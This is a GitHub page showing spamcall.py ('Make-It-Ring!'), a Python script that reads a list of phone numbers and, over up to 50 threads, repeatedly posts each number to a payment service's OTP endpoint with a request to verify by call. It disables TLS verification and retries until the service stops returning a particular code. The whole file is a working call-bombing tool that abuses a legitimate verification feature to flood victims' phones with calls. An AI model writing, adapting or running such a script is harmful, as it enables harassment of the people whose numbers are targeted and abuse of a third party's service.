-
Notifications
You must be signed in to change notification settings - Fork 17
/
Copy pathspamcall.py
65 lines (65 loc) · 1.89 KB
/
spamcall.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
print("""\
__ __________ __
/ |/ / _/ _ \/ / | Make-It-Ring!
/ /|_/ // // , _/_/ | Author: P4kL0nc4t
/_/ /_/___/_/|_(_) | https://github.com/p4kl0nc4t
""")
import thread
import requests
import sys
requests.packages.urllib3.disable_warnings()
try:
file = sys.argv[1]
except:
print("usage: {} <numbers_list>".format(sys.argv[0]))
sys.exit()
numbers = open(sys.argv[1], "r").readlines()
count = 0
processc = 0
running_threads = 0
print_used = False
max_threads = 50
def trim_ident(ident):
ident_l = len(str(ident))
if ident_l % 2 == 0:
return str(ident)
else:
return str(ident)[:ident_l-1]
def prinfo(string):
thread_idlen = len(str(trim_ident(thread.get_ident())))+2
dash_c = thread_idlen-(len(string)+2)
dashes = (dash_c/2)*"-"
return "["+dashes+"|"+string+"|"+dashes+"]"
print(prinfo("info")+": read {} numbers from {}".format(len(numbers), file))
def process(number):
global running_threads
global processc
global print_used
running_threads += 1
number = number.rstrip()
url = "https://www.tokocash.com/oauth/otp"
data = {"msisdn": number.rstrip(), "accept": "call"}
headers = {"X-Requested-With": "XMLHttpRequest"}
temp_code = "500001"
while temp_code == "500001":
r = requests.post(url, data=data, headers=headers, verify=False)
while print_used:
pass
temp_code = r.json()['code']
print_used = True
print("\r[0x" + str(trim_ident(thread.get_ident())) + "]: " + number + " (status: " +
r.json()['code'] + ")")
print_used = False
processc += 1
running_threads -= 1
return 1
for number in numbers:
while running_threads >= max_threads:
pass
if number == "" or number[0] == ";": continue
count += 1
thread.start_new_thread(process, ( number, ))
while processc != count:
pass
print(prinfo("done")+": done all jobs! exiting . . .")
sys.exit()